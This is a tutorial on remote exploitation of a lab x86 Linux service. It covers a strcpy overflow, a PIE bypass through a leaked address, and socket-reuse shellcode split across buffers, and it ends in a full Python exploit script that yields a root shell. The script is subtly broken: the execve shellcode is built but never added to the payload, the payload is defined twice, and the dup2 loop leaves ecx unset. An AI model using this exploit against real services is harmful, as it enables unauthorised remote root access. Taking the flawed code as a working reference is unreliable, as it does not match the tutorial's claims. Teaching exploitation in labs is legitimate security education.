Tutorial

Remote Exploitation with Socket Reuse Shellcode

Exploit a remote x86 Linux service by leaking addresses to bypass PIE, splitting shellcode across discontinuous buffers, and reusing the existing socket to evade firewall rules.

5 min read advanced

Prerequisites

  • Familiarity with x86 buffer overflows
  • Experience writing or modifying shellcode
  • Basic understanding of socket programming
  • Knowledge of GDB and Ghidra

Part 12 of 12 in Linux Exploitation Fundamentals

Table of Contents

When exploiting a remote service behind a firewall, a standard reverse shell won’t work if outbound connections are blocked. Socket reuse shellcode solves this by hijacking the existing TCP connection — redirecting stdin, stdout, and stderr to the socket file descriptor already in use, then spawning a shell over it.

Reconnaissance

Identifying the Service

Use ss to find listening services on the target:

ss --tcp --listen
State   Recv-Q  Send-Q  Local Address:Port   Peer Address:Port
LISTEN  0       5       0.0.0.0:4444          0.0.0.0:*

A custom service is listening on port 4444. Connect to it:

nc 172.16.172.249 4444

The server responds to input, suggesting a text-based protocol.

Protocol Fuzzing with Boofuzz

Use boofuzz to discover valid commands:

from boofuzz import *

session = Session(target=Target(
    connection=SocketConnection("172.16.172.249", 4444, proto='tcp')
))

s_initialize("request")
s_string("FUZZ", fuzzable=True)
s_static("\r\n")

session.connect(s_get("request"))
session.fuzz()

Monitor responses to identify which inputs the server accepts. In this case, the server expects commands prefixed with a keyword.

Reverse Engineering with Ghidra

Load the binary into Ghidra to understand the protocol. The decompiled chat function reveals the vulnerability:

void chat(char *param_1)
{
    char local_2c[36];

    puts("[+] Into vulnfunc");
    printf("Buffer at %p\n", param_1);
    fflush(stdout);
    strcpy(local_2c, param_1);
    return;
}

Key observations:

  1. strcpy with no bounds checking — classic buffer overflow
  2. The buffer is only 36 bytes — tight space for shellcode
  3. The buffer address is leaked via printf — this defeats PIE
  4. The function is reached by sending COMMAND followed by input

Understanding the Constraints

Firewall Rules

Examining the target’s iptables rules:

Chain INPUT:  ACCEPT tcp dpt:4444
Chain OUTPUT: ACCEPT tcp spt:4444 ctstate ESTABLISHED
              DROP   everything else

The firewall allows inbound connections on port 4444 and responses on established connections, but blocks all new outbound connections. A reverse shell won’t work — we must reuse the existing socket.

Discontinuous Buffers

Examining memory in GDB after triggering the overflow:

gdb-peda$ x/50wx 0xf74005d0
0xf74005d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf74005e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf74005f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7400600: 0x00000000 0x00000000 0x00000000 0x00000065
0xf7400610: 0x41414141 0x41414141 0x41414141 0x41414141
...

The buffers are 0x40 bytes apart and the space between them is zeroed. The shellcode cannot be contiguous — it must be split into chunks and joined with short jumps.

Finding the EIP Offset

import pwn
# Generate cyclic pattern and send after "COMMAND "
# After crash, check EIP value
print(pwn.cyclic_find(0x61616169))  # value from EIP

The EIP overwrite occurs at 36 bytes (not including the COMMAND prefix).

Building the Exploit

Strategy

  1. Use the leaked buffer address to bypass PIE
  2. Split shellcode into chunks that fit between buffer gaps
  3. Use short jumps (\xeb\xNN) to bridge the gaps between chunks
  4. The shellcode will:
    • Use dup2 syscalls to redirect fd 0, 1, 2 to the socket fd
    • Call execve("/bin/sh") to spawn a shell
  5. Overwrite EIP with the leaked buffer address (+ offset) to jump to our shellcode

Crafting the Socket Reuse Shellcode

The shellcode needs to perform two operations: redirect file descriptors with dup2, then spawn a shell with execve.

Part 1: dup2 Loop (Redirect fd 0, 1, 2)

The socket file descriptor is consistently 4 (the server’s accept() returns fd 4 for each connection). We redirect stdin, stdout, and stderr to it:

# dup2 loop: redirect fd 0, 1, 2 to socket fd 4
scv1 = b""
scv1 += b"\x31\xc0"              # xor eax, eax
scv1 += b"\x31\xdb"              # xor ebx, ebx
scv1 += b"\x80\xc3\x04"          # add bl, 0x4     (ebx = socket fd)
scv1 += b"\xb0\x3f"              # mov al, 0x3f    (syscall 63 = dup2)
scv1 += b"\x49"                  # dec ecx         (fd: 2, 1, 0)
scv1 += b"\xcd\x80"              # int 0x80
scv1 += b"\x85\xc0\x75\xf7"      # test eax, eax; jnz (loop)
scv1 += b"\xeb\x2a"              # short jump to next buffer (scv2)

The \xeb\x2a at the end is a short jump that bridges the gap to the next buffer chunk. The jump distance must be calculated based on the buffer spacing.

Part 2: execve /bin/sh

# execve("/bin/sh", NULL, NULL)
scv2 = b"\x50"                   # push eax (null byte, eax is 0)
scv2 += b"\x68\x2f\x2f\x73\x68"  # push "//sh"
scv2 += b"\x68\x2f\x62\x69\x6e"  # push "/bin"
scv2 += b"\x89\xe3"              # mov ebx, esp
scv2 += b"\x50"                  # push eax (NULL)
scv2 += b"\x53"                  # push ebx
scv2 += b"\x89\xe1"              # mov ecx, esp
scv2 += b"\x99"                  # cdq (edx = 0)
scv2 += b"\xb0\x0b"              # mov al, 0xb (execve)
scv2 += b"\xcd\x80"              # int 0x80

Splitting Shellcode Across Buffers

The key constraint is that the buffers are not continuous. Each chunk must end with a short jump to skip over the gap:

Buffer layout in memory:
|-- chunk 1 (dup2 loop) --|-- gap (0x40 apart) --|-- chunk 2 (execve) --|
                     \xeb\x2a
                   (short jump) ──────────────────►

The short jump distance is calculated as:

gap = 0x40 - current_chunk_size
jmp_distance = gap - 2  (subtract 2 for the jmp instruction itself)

Important: Clean Division Points

The shellcode must be split at points where there are no internal jumps crossing the boundary. The dup2 loop’s jnz instruction jumps backwards within the same chunk, which is safe. The short jump at the end bridges to the next chunk.

Assembling the Payload

import socket
import struct

HOST = "172.16.172.249"
PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Receive banner/prompt
data = s.recv(1024)
print(f"[*] Received: {data}")

# Send HELP to get the leaked buffer address
s.send(b"HELP\r\n")
data = s.recv(1024)
print(f"[*] Response: {data}")

# Parse the leaked buffer address from server output
# Example: "Buffer at 0xf74005d0"
buf_addr = int(data.split(b"0x")[1][:8], 16)
print(f"[+] Leaked buffer address: {hex(buf_addr)}")

# dup2 loop shellcode
scv1 = b""
scv1 += b"\x31\xc0"
scv1 += b"\x31\xdb"
scv1 += b"\x80\xc3\x04"
scv1 += b"\xb0\x3f\x49\xcd\x80"
scv1 += b"\x85\xc0\x75\xf7"
scv1 += b"\xeb\x2a"              # short jump to next buffer

# execve shellcode
scv2 = b"\x50"
scv2 += b"\x68\x2f\x2f\x73\x68"
scv2 += b"\x68\x2f\x62\x69\x6e"
scv2 += b"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

# Build payload
PAYLOAD = (
    b"COMMAND " +
    b"A" * 36 +                                    # fill buffer to EIP
    struct.pack("<I", buf_addr + 0x8) +            # overwrite EIP -> shellcode
    b"D" * 100                                     # padding
)

# The shellcode is placed in the buffer before the EIP overwrite
# Adjust offsets based on where scv1 and scv2 land in memory
PAYLOAD = (
    b"COMMAND " +
    scv1 +
    b"\x90" * (36 - len(scv1)) +                   # pad to EIP offset
    struct.pack("<I", buf_addr + 0x8) +            # EIP -> start of shellcode
    b"D" * 100
)

s.send(PAYLOAD + b"\r\n")

# Interactive shell
import select
import sys

while True:
    readable, _, _ = select.select([s, sys.stdin], [], [])
    for r in readable:
        if r is s:
            data = s.recv(4096)
            if not data:
                print("[!] Connection closed")
                sys.exit()
            sys.stdout.write(data.decode(errors='replace'))
            sys.stdout.flush()
        else:
            cmd = sys.stdin.readline()
            s.send(cmd.encode())

Verifying Exploitation

After sending the payload, the server processes COMMAND + our overflow. The strcpy copies our input into the 36-byte buffer, overwriting EIP. When the function returns:

  1. EIP jumps to the leaked buffer address (start of our shellcode)
  2. The dup2 loop redirects fd 0, 1, 2 to socket fd 4
  3. The short jump bridges to the execve shellcode
  4. /bin/sh spawns with I/O over the existing TCP connection
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root

Why Socket Reuse

Standard reverse shell shellcode creates a new outbound TCP connection. In this scenario that fails because the firewall drops all new outbound traffic. Socket reuse avoids this entirely by working with what’s already established:

Traditional reverse shell:
  Target ──(new connection)──► Attacker    ✗ Blocked by firewall

Socket reuse:
  Target ◄──(existing connection)──► Attacker    ✓ Already allowed

The trade-off is that you need to know the socket file descriptor number. Common approaches:

  • Hardcode it if the server’s accept() pattern is predictable (fd 4 is common for simple servers)
  • Loop through fds and test each with getpeername
  • Recover from the stack if the fd was passed as a function argument

Buffer Splitting Considerations

When working with discontinuous buffers:

  1. Map the layout first — Use GDB to examine exactly where your input lands in memory and measure the gaps
  2. Keep jumps short — x86 short jumps (\xeb) have a range of -128 to +127 bytes, which is usually sufficient
  3. No cross-boundary jumps — Loops and conditional branches must stay within a single chunk
  4. Account for jump instruction size — The 2-byte \xeb\xNN instruction is part of your chunk, reducing usable space

Key Takeaways

  1. Leak addresses to defeat PIE — If the binary prints pointers, use them to calculate jump targets
  2. Socket reuse bypasses egress filtering — When the firewall blocks outbound connections, reuse the existing socket fd with dup2 + execve
  3. Split shellcode with short jumps — Discontinuous buffers require dividing shellcode at clean boundaries and bridging gaps with \xeb instructions
  4. Reverse engineer the protocol — Fuzzing alone may not reveal the entry point; static analysis with Ghidra can identify the exact input path to the vulnerable function
  5. The socket fd is often predictable — Simple forking servers typically assign fd 4 to the accepted connection